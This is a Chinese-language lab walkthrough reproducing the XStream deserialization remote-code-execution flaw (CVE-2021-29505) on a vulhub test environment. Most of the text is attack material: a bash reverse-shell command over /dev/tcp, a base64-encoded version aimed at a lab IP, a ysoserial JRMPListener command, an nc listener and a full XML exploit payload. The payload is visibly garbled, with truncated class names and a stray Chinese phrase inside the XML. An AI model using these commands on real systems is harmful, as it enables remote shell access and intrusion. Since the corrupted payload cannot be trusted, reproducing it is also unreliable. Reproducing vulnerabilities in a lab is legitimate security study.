XStream反序列化命令执⾏漏洞复现（CVE-2021-29505）XStream反序列化命令执⾏漏洞复现（CVE-2021-29505）
讲道理正经来讲这个实验需要四台机器模拟，不过条件有限，我就⽤两台机器模拟了。
我们需要⼀台攻击机
⼀台安装了xstream服务的机器
⼀台安装了RMI服务的机器
⼀台机器接收shell
这⾥我的攻击机是我的物理机（192.168.0.103），其他的三台机器全部由虚拟机代替了（192.168.248.163） ⾸先我们需要搭建漏洞环境
直接从vulhub上⾯克隆我们的漏洞环境，详情⾃⾏百度
然后进⼊我们要复现的漏洞的路径，运⾏
docker-compose up -d
等待我们环境搭建完毕
⼤概就是这么个效果，然后docker ps看⼀下刚刚运⾏的容器
可以看淡映射的主机端⼝，我们在我们的攻击机上访问⼀下
⼤概就是这么个效果。
然后我们在我们的虚拟机上搭建⼀个RMI服务器，也就是远程⽅法接⼝
这⾥我们使⽤神奇ysoserial，⼯具⾃⾏github
我们需要运⾏的⽅法是这⼀句
bash -i >& /dev/tcp/ip/port 0>&1
然后再这个⽹站上编码⼀下
www.jackson-t.ca/runtime-exec-payloads.html
箭头指的部分就是我们需要的payload
然后我们在我们的RMI服务器上运⾏
java -cp ysoserial.jar JRMPListener 2256 CommonsCollections6 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjI0OC4xNj MvOTk5OSAwPiYx}|{base64,-d}|{bsh,-i}"
引号⾥⾯的部分就是你上⼀步编码的内容，2256就是监听的端⼝，可以⾃定义
上图是监听成功的样⼦
然后在我们的就收shell的服务器上也就是你上⼀步⽣成payload填写的ip的那天设备上监听对应的端⼝
nc -lvvp 9999
然后我们通过burpsuite抓到访问xstream服务⾸页的数据包。
把请求类型改成post，content-type改为xml
然后再请求体中粘贴下⾯这⼀串
<java.util.PriorityQueue serialization='custom'><unserializable-parents/>
<java.util.PriorityQueue>
<default>
<size>2</size>
</default>
<int>3</int>
<javax.naming.ldap.Rdn_-RdnEntry>
<type>12345</type>
<value class='apache.xpath.internal.objects.XString'>
<m__obj class='string'>l.internal.ssage.Packet@2002fc1d Content</m__obj>
</value>
</javax.naming.ldap.Rdn_-RdnEntry>
<javax.naming.ldap.Rdn_-RdnEntry>
<type>12345</type>
<value class='l.internal.ssage.Packet'serialization='custom'>
<message class='l.ssage.saaj.SAAJMessage'>
<parsedMessage>true</parsedMessage>
<soapVersion>SOAP_11</soapVersion>
cve漏洞库
<bodyParts/>
<sm class='ssaging.saaj.soap.ver1_1.Message1_1Impl'>
<attachmentsInitialized>false</attachmentsInitialized>
<nullIter class='l.internal.security.keys.storage.implementations.KeyStoreResolver$KeyStoreIterator'> <aliases class='com.lkit.dir.LazySearchEnumerationImpl'>
<candidates class='com.i.registry.BindingEnumeration'>
<names>
<string>aa</string>
<string>aa</string>
</names>
<ctx>
<environment/>
<registry class='istry.RegistryImpl_Stub'serialization='custom'>
&i.server.RemoteObject>
<string>UnicastRef</string>
<string>192.168.248.163</string>
<int>2256</int>
<long>0</long>
<int>0</int>
<long>0</long>
<short>0</short>
<short>0</short>
<boolean>false</boolean>
</i.server.RemoteObject>
</registry>
<host>192.168.248.163</host>
<port>2256</port>
</ctx>
</candidates>
</aliases>
</nullIter>
</sm>
</message>
</value>
</javax.naming.ldap.Rdn_-RdnEntry>
</java.util.PriorityQueue>
</java.util.PriorityQueue>
上⾯涉及到ip与端⼝的地⽅均修改为你RMI服务器的对应ip与端⼝
然后发送，看到响应了500的返回值
在看看我们RMI服务器打印的⽇志
基本可以确定利⽤成功了
再看看我们的监听

版权声明：本站内容均来自互联网，仅供演示用，请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198，我们将在24小时内删除。